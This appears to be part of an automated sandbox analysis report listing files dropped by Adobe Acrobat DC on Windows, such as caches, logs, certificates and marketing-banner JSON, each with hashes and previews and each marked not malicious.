SSDEEP:	96:OLSw0bSwIAnrRqLX2rSq1OUxu/0OZ0xRBTxekN8xewtAr:OLT0bTIeYa51Ogu/0OZARBT8kN88wtAr
MD5:	520010D60FBE647B8C0B977C88FDDC04
SHA1:	7FA0B7C0FD2BB3A4E8EBA5C6C92822385922A91B
SHA-256:	E82D3FA4352525FF49186B9B780A74921D079CF8631919376288C7BA65516FD4
SHA-512:	1E4256C18FBCE9CD1F95E2D856EC63650C3264E0B8D8679C7307C7FF5924C72A7669670202E0D60BC3A49ECFA50B8D7650733D5535FD463E337BD13EC1D1F0DE
Malicious:	false
Preview:	*...#................version.1..namespace-e...o................next-map-id.1.Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/.0y.S_r................next-map-id.2.Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/.16.X:r................next-map-id.3.Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/.2.P.@o................next-map-id.4.Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/.346.+^...............Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/....^...............Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/..?&a...............Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/_...a...............Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/...o................next-map-id.5.Pnamespace-07af9ee9_2076_4f12_94b5_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.153317073787983
Encrypted:	false
SSDEEP:	6:HGa3+q2PRN2nKuAl9OmbzNMxIFUt8YG5Zmw+YGpAVkwORN2nKuAl9OmbzNMFLJ:maOvaHAa8jFUt8N5/+NpY5JHAa84J
MD5:	26D01C96305F8BB092CBC786CDB834A2
SHA1:	90838B6055A30405A18E3F01B6E42C5807C667BB
SHA-256:	D4E53064164E9D8ED52190C800518A3B4084D61F3E40CB8B7BF8FC23D1B44727
SHA-512:	BA35E1F02114DB3CBCF3E56B6E3D25794A84B62558678B7404004548ADD95FC8AD099CCCC6F5E6CA39A730514740884AC77344B2057FA7D71317C85EC1552C1C
Malicious:	false
Preview:	2024/11/26-00:39:12.918 10a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/26-00:39:12.919 10a8 Recovering log #3.2024/11/26-00:39:12.921 10a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.153317073787983
Encrypted:	false
SSDEEP:	6:HGa3+q2PRN2nKuAl9OmbzNMxIFUt8YG5Zmw+YGpAVkwORN2nKuAl9OmbzNMFLJ:maOvaHAa8jFUt8N5/+NpY5JHAa84J
MD5:	26D01C96305F8BB092CBC786CDB834A2
SHA1:	90838B6055A30405A18E3F01B6E42C5807C667BB
SHA-256:	D4E53064164E9D8ED52190C800518A3B4084D61F3E40CB8B7BF8FC23D1B44727
SHA-512:	BA35E1F02114DB3CBCF3E56B6E3D25794A84B62558678B7404004548ADD95FC8AD099CCCC6F5E6CA39A730514740884AC77344B2057FA7D71317C85EC1552C1C
Malicious:	false
Preview:	2024/11/26-00:39:12.918 10a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/26-00:39:12.919 10a8 Recovering log #3.2024/11/26-00:39:12.921 10a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241126053916Z-167.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.5281426428343612
Encrypted:	false
SSDEEP:	192:nMLtrpnsr+euoooooooooMyDoooooooooooS:nC9YXb
MD5:	42D447728F4799BC4BB427AC0F99A308
SHA1:	8BD9D8F5DE4AC6D09414D50B60165E93EC9C463E
SHA-256:	D29710C9A2C82DA79CA61C953D285862C47766F8502773D0EEADB8BA2A275DA1
SHA-512:	EA797921E9D090D92380010D36A5F460E40A1FE37F11470FA50D2ECF949FF338FA68893832BF48DFAB4F2C01688107674F03F91BCA3EF838031AD584208DE5C6
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 2, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.291927920232006
Encrypted:	false
SSDEEP:	192:vedRBvVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:veBci5H5FY+EUUUTTcHqFzqFP
MD5:	A4D5FECEFE05F21D6F81ACF4D9A788CF
SHA1:	1A9AC236C80F2A2809F7DE374072E2FCCA5A775C
SHA-256:	83BE4623D80FFB402FBDEC4125671DF532845A3828A1B378D99BD243A4FD8FF2
SHA-512:	FF106C6B9E1EA4B1F3E3AB01FAEA21BA24A885E63DDF0C36EB0A8C3C89A9430FE676039C076C50D7C46DC4E809F6A7E35A4BFED64D9033FEBD6121AC547AA5E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.2137681108521854
Encrypted:	false
SSDEEP:	24:7+tY7qLi+zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+ZK:7MMqLmFTIF3XmHjBoGGR+jMz+LhH
MD5:	A7CADEBAA7B442D9E3BE517D5997014E
SHA1:	5FD695EF712705FEF520BBD4B9559A660D2D82B1
SHA-256:	F405156CC52A01EF56004E599304444296162F9D4DAA7795C083B668F16000BA
SHA-512:	F672BA7524757DECA1A62CC058AC5DEB58F8DF784221A49C142773419DB697C58C4CFD9AD5385A8C5962A7AD9CF706AF3F050AEDE0E34DA179FD0DF6BDF0F56C
Malicious:	false
Preview:	.... .c.....:.p1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl1xrxttfllXlE/HT8k+zXNNX8RolJuRdxLlGB9lQRYwpDdt:kKobeT8zNMa8RdWBwRd
MD5:	50C9EB5429AEB88A8FE14D04B7FC8652
SHA1:	57D4BACBA8BF2F4560AFDBC35E3A5B37555B1A41
SHA-256:	BEB4856E37DAC415CB4EF3A6E41FB482438DD47F94F554004152F1BEE19AF43F
SHA-512:	2FF4AB1CEE2B6416CF5CDD4B3DC19B3841043F5BF454F71991760684A7BDA5CF8B13C849B1E5353134EF9B233F139E813F3A9A93D27883D66BAC78240EDEB515
Malicious:	false
Preview:	p...... ........F.=..?..(....................................................... ..........W....c...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.150184159866505
Encrypted:	false
SSDEEP:	6:kKtvsL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:dsiDnLNkPlE99SNxAhUe/3
MD5:	211EC3366C71D3563674D2649BD8A840
SHA1:	825A9805AEDC42F0A5B96F04D460CD1C63BCB21E
SHA-256:	C7CB0963F8D1888C7561466EC437FF0D227E565DE2BC5979D188787F85E3C347
SHA-512:	4A90A5024A96C100818682FCEF66655A6A0E7360934608BE385C826DDAADEFFD9F3AE7BE4FB7FFFD0E361F76352E18173EDC9C2FB0C649A828691AE13515B8B3
Malicious:	false
Preview:	p...... ........k~J..?..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.374800157760572
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJM3g98kUwPeUkwRe9:YvXKXEZs1QWRuUhUIGMbLUkee9
MD5:	70DDE39303CFEDC84F2F2A2641E99CED
SHA1:	C3C3526274BB91B5913E84D4DD81E4027FFCDCEC
SHA-256:	17C76EA1376097B4A4FE84F9E4F7D8B300D591B3E1398E70877C64A9E540D821
SHA-512:	D73ED478B2C55E2344260F1EB2468CCB592CA91F8330C05776659366B47DCA1A047335135151A4666AC62A2C0D77AE9B72F345AF4636A4F2D50B6EB82A2F4F84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.324403008765344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJfBoTfXpnrPeUkwRe9:YvXKXEZs1QWRuUhUIGWTfXcUkee9
MD5:	FE4F5CD1D2E67C9A4D75F6770BA3F121
SHA1:	5DA70D904062ACD0DDCBFA97C1B8DE865F4594A9
SHA-256:	D2A222773D1063C415CFFA6FB39A86FB77434EA9FBBF0425889B423DA2FD9087
SHA-512:	43ACFDEFA4094163F8B681B0A659470416F84086730A6B5B621DC67B5E68FD4CFA9D43662FD4C6CCDC34D9E5E97766C35C5720C9893662CF8996C256CBD4D806
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303398044160421
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJfBD2G6UpnrPeUkwRe9:YvXKXEZs1QWRuUhUIGR22cUkee9
MD5:	DB97D66432ACFDE46743F105A0EC2AFF
SHA1:	801B369F7C530D43B67172E61D792396D446ABB7
SHA-256:	CEC80E83D7EF4DBFD910C9E38DCE077602B7EE29E3640138A3AA07CF606A68E3
SHA-512:	7A94B654E1E302B462C217CC5B6B3B2A82AB8CE04B84A6EDFC6F46C7FF71A79C6B8061D21C7E93BB356AC381EFC7E774C33072F626D8CD018084E28EE3B19902
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.363581636727651
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJfPmwrPeUkwRe9:YvXKXEZs1QWRuUhUIGH56Ukee9
MD5:	9C2192ECC148A2A5DA179F746392BF50
SHA1:	45FFB1F7CF6F45BF07BE241551656B7669F17754
SHA-256:	6E36E806BC069AA380A3E5B4218FBD25D0A8FC5E668CC2712359D5A075AAEA15
SHA-512:	3D11C906924E5ACB19F09D526A6A169A40AB6BD11B3E2BB369A953C6468680597E3F1E50A8B897041FEB959B3ADC54A5BFDB28D7233E4FFC59FF5FC459F8E980
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685450877393158
Encrypted:	false
SSDEEP:	24:Yv6XZUFpLgE9cQx8LennAvzBvkn0RCmK8czOCCSB:YvSUFhgy6SAFv5Ah8cv/B
MD5:	763C908592A5AB829CADCF2E7BEF9970
SHA1:	7816FC1402C08E482521219464B8C36DF938C0A8
SHA-256:	7396370A8972DA10C5AA05C025E98B2BF5B211953D289D724251D969598DE0E9
SHA-512:	F085155528310801D40368512E5B2A17DF5F9F430925654F89501B3D766CDE033D36D0D5AAF2BE6D7A44C2E5FB41237FBCB8AA55109D2B48F393B2D12F1EEE40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	5.678867132921825
Encrypted:	false
SSDEEP:	24:Yv6XZUJVLgEwcp06ybnAvz7xHn0RCmK8czOCYHfl8zdB8:YvSUJFgSNycJUAh8cvYHX
MD5:	184E6EA42115D7D5F43C704503392A18
SHA1:	B76977B1319BD9515401FAACEF566587B9414E54
SHA-256:	8C728D6C2F7D8D670BE66F020F25082C1F8D5B6802EA4281060B88D8F2539B36
SHA-512:	39827C7872ADBC037CF878F504047D399F2071252C54C7B69E33A473698AF182489AC0C2E99D4CEDBE1ACBBC6EF5648F54BA912AD18E46517ED80B56C826A787
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_0","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"1aad653c-ef44-43f7-be1c-3a2ba2cf2cfc","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuIFBERiBmb3JtcyAmIGFncmVlbWVudHMuIn0sInRjY

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.314096359378935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJfQ1rPeUkwRe9:YvXKXEZs1QWRuUhUIGY16Ukee9
MD5:	985D53AD5BF8ED5A12A52A540A55568F
SHA1:	5A0E446A002E56F37AC87C3DF5E63A923FE398B6
SHA-256:	3E07AD57DC107C13BB57FBEE3CB3FA060F4D8ED71266245E0CF5580CC745D815
SHA-512:	779A5B0BC78AEC51847C54553AA0B0658A7C9E8E74F97A77EA66A1385457023C817F78E4EBC54803056A66376D6CFAE3315C86789747272662F224C5ED7CFF74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	5.66561359699269
Encrypted:	false
SSDEEP:	24:Yv6XZU42LgErcXWl7y0nAvzIBcSJCBViV8:YvSU4ogH47yfkB5kVB
MD5:	081413AD72A2EDE2D041D63EB6CCA625
SHA1:	CD4BBA9E44ECA0B43D7E4BBC3F1FD18B1B169932
SHA-256:	62A5B42EBD650312501893A7B26970E2D463D5F08AE623D04CFDC822363EA5A5
SHA-512:	A9931DEAAE1C2C68B9FECF3C7BF88D023EDAB0D974127382C4337B4A45B7A0004B6B6E04EF406C863CFF7ECC530634AD42937F4C6289BE1F83D37DDE0EA58162
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_1","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"533ab5eb-b236-4889-89a5-ac002261d71e","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkVkaXRQREZSZHJBcHBGdWxsIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTRweCIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTJweCIsImZvbnRfc3R5bGUiOiItMSJ9LCJ0aXRsZSI6bnVsbCwiZGVzY3JpcHRpb24iOiJFZGl0IHRleHQsIGltYWdlcywgcGFnZXMsIGFuZCBtb3JlLiJ9LCJ0Y2F0SWQiOm51bGx9","da

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.697057041914352
Encrypted:	false
SSDEEP:	24:Yv6XZUwKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK58:YvSUwEgqprtrS5OZjSlwTmAfSKS
MD5:	F23AA508EA4DCA267F90C7770011ABFE
SHA1:	295F4C7B88CB575477BE7D1B362031E7109BEC03
SHA-256:	85A9143A9C148A62360F98406760C5881AE3C7142F7E72BAAB1A3370A4D37421
SHA-512:	CC684962DD97197A4E5A880210EB8C31EF61A534C7292ACC2B9A0F204385BF3991CECD198D000E9545F87C008D4D02664CAE40E3489399ACCC52FCC9138C64C4
Malicious:	false
